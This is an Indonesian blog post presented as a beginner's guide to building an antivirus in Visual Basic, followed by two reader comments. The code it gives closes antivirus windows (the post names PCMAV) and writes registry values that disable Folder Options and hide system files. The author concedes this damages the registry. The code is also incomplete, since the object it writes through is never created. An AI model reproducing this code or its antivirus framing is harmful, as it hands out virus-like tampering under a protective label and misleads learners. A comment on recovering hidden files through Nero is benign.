Selasa, 23 Desember 2008

Belajar Menjadi pembuat Anti Virus

. Selasa, 23 Desember 2008

Tentunya kita tidak ingin, komputer kita berVirus? ya kan...?!! tapi itu tidak bisa di pungkiri. apa lagi komputer tukul ("Maksudnya Untuk Umum Looooooh "). akibat colok sini-colok sana akhirnya kena deh komputer kita ma Virus.!!, sebenarnya ada cara jitu. buat ngembaliin sistem window yang sudah rusak.supaya kita tidak cape deh menginstal ulang kembali windows yang rusak. kita buat Anti virus sendiri. "keren kan..!!!". Tapi kan sulit..!! sebenarnya tidak sulit cukup memeras keringat 1 tetes dan kesabaran sedikit. di sini saya akan coba memaparkan sedikit mengenai Anti Virus Buatan sendiri. mudah-mudahan bisa membantu sedikit..!!. kita mulai aza yach..!! biar langsung pusing.

Tapi sebelum mulai kita kudu tau hal-hal apa saja yang sering di rusak dan gimana cara kerja si Virus nakal tersebut.

Hal-hal yang sering di rusak oleh si Virus Nakal. biasanya yang berbahaya untuk Virus itu sendiri..!!
ce.....ileh.. jadi analisa penaganan Virus neh..!!!
1. Windows Task Manager
2. Windows RUN
3. Dos Prompt
4. Folder Options

Menurut saya mungkin cuma itu aza. tapi kalau ada yg lain kasi tau yach..!! maklum kita gi belajar.
nah kayaknya kita harus memulihkan semua tools windows tersebut biar bisa komputer kita bisa jalan dengan lancar.
skarang kita mulai aza yach membuat Codingnya...oceh.. siap yach.

Buat sebuah project dalam Visual Basic.
jangan lupa buat sebuah form baru di lengkapi sebuah tombol aza..!!! terserah mau buat tombol apa aja. n jangan lupa kasi nama tombol tersebut oceh..!!!
ketikan coding di bawah ini dalam form :
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long 'pencari Kleas dan Window Name Suatu file
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long 'sendmessage
Private Declare Function GetDriveType& Lib "Kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) ' penghandel flashdisk
Private Declare Function ExitWindowsEx Lib "user32" (ByVal dwOptions As Long, ByVal dwReserved As Long) As Long 'exit windows
Private Const WM_CLOSE = &H10 'Menentukan konstanta menutup pirus yang jalan
Dim RegRun
' buat dalam event tombol klick
FWnd = FindWindow("TMainForm", vbNullString) 'aplikasi buatan Delphi (Antivirus PCMAV yang versi lama dapat ditutup tetapi versi yang baru tidak bisa dihentikan) <:d
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow("TApplication", vbNullString) 'aplikasi buatan Delphi
SendMessage FWnd, WM_CLOSE, 0&, 0&

RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFolderOptions", 1, "REG_DWORD" 'Folder Options tdk dapat diakses
RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFolderOptions", 1, "REG_DWORD" 'Folder Options tdk dapat diakses
RegRun.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden", 0, "REG_DWORD" 'Sembunyikan file beratribut superhidden/File-file system
RegRun.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden", 0, "REG_DWORD" 'Sembunyikan file beratribut superhidden/File-file system


coding di atas untuk merusak registrasi, jika ingin memperbaiki silahkan di balik angkanya yach..misalnya jika 0 maka ubah menjadi 1 dan seterusnya..!!!
supaya temen-temen rajin di pelajari dulu yach kemudian di kembangkan.. oceh.. boss..!!! jangan lupa kasi tau klo ada koding terbaru...!!!

2 Command:

Anonim mengatakan...

mantep juga nih anti virus buatan sendiri.saya mau nih belajar bikinnya,script yg di kasih bisa untuk virus lokal juga g misal virus batamhacker?trus codingnya prosesnya pengerjaannya gmn?mohon penjelasannya,

Dayat Baxtiar mengatakan...

Asli.. ini penemuan saya...!! P3K untuk Flashdisk kena Virus
Pernah mengalami kehilangan file gara-gara virus? Panik? sampai nangis-nangis karena putus asa? Saya pernah. Dengan sedikit semangat tersisa, otak berfikir:
Virus ini menyerang system windows. File2 yang sepertinya hilang itu ternyata masih berada di flashdisk. ini bisa dibaca melalui properties yang masih menggambarkan kalau Flashdisk ini masih berisi file2 yang cukup buanyak. Dugaan saya, file2 tadi tidak terhapus. tapi disembunyikan. untuk mengelabuhi saja.
Sempat terpikir untuk membuka dengan OS lain. sebab, pasti virusnya nggak aktiv. Logis,to?
tanpa sengaja terpikir untuk membaca dengan software Nero. Lho..kok..? Tunggu dulu, Dul... belum selesai cerita ini....
Logikanya sederhana saja... Virus yang berlaku di OS Win, tentunya hanya menyerang OS Win.
Untuk membaca dengan OS Lain, tentunya membutuhkan waktu dan belum tentu kita punya OS lain, seperti Linux atau Mac. Akhirnya jatuhlah pilihan saya ke program Nero. Saya tancepin lagi flashdisk, setelah di scan dan terlihat cuma beberapa saja file yang tersisa, saya membuka Nero. memasukkan CD Blank. seperti biasa, saya klik option Make Data CD dari menu Nero.
kemudian saya klik add file di menu sebelah kanan atas. browse saya arahkan ke flashdisk yang terkena virus tadi dan..... jreeng.... File yang disembunyikan virus kelihatan semua. tapi oops tunggu dulu.. jangan langsung di burning. select semua file yang sudah terdaftar untuk di burning. klik kanan - properties. hilangkan contreng di kotak hide . Maka secara otomatis, nero dengan caranya tersendiri akan me re name file2 tersebut. Kalo sudah kelihatan semua file, hapus file2 yang mencurigakan. Lanjutkan burning seperti biasa. dan ... walaah... say my name guys.. File anda terselamatkan dan tersimpan dalam CD . Kalo sudah yakin tersimpan semua file dalam CD, jangan lupa memformat flashdisk yang terkena virus tadi. CD yang terkena virus tadi, bisa dimasukkan ke CD ROM lagi lalu scan dengan antivirus lagi... kale aja ada yang masih sembunyi geto lochh...
Ini benar2 saya alami sendiri. mungkin ada orang lain melakukan hal serupa namun nggak mau sharing... --- www.baxtiar.co.cc --

:)) ;)) ;;) :D ;) :p :(( :) :( :X =(( :-o :-/ :-* :| 8-} :)] ~x( :-t b-( :-L x( =))

Posting Komentar

Isikan komentar anda di sini...

 

Pengikut

Posting Terbaru

Sobi's is proudly powered by FortalComputer.com | Template by o-om.com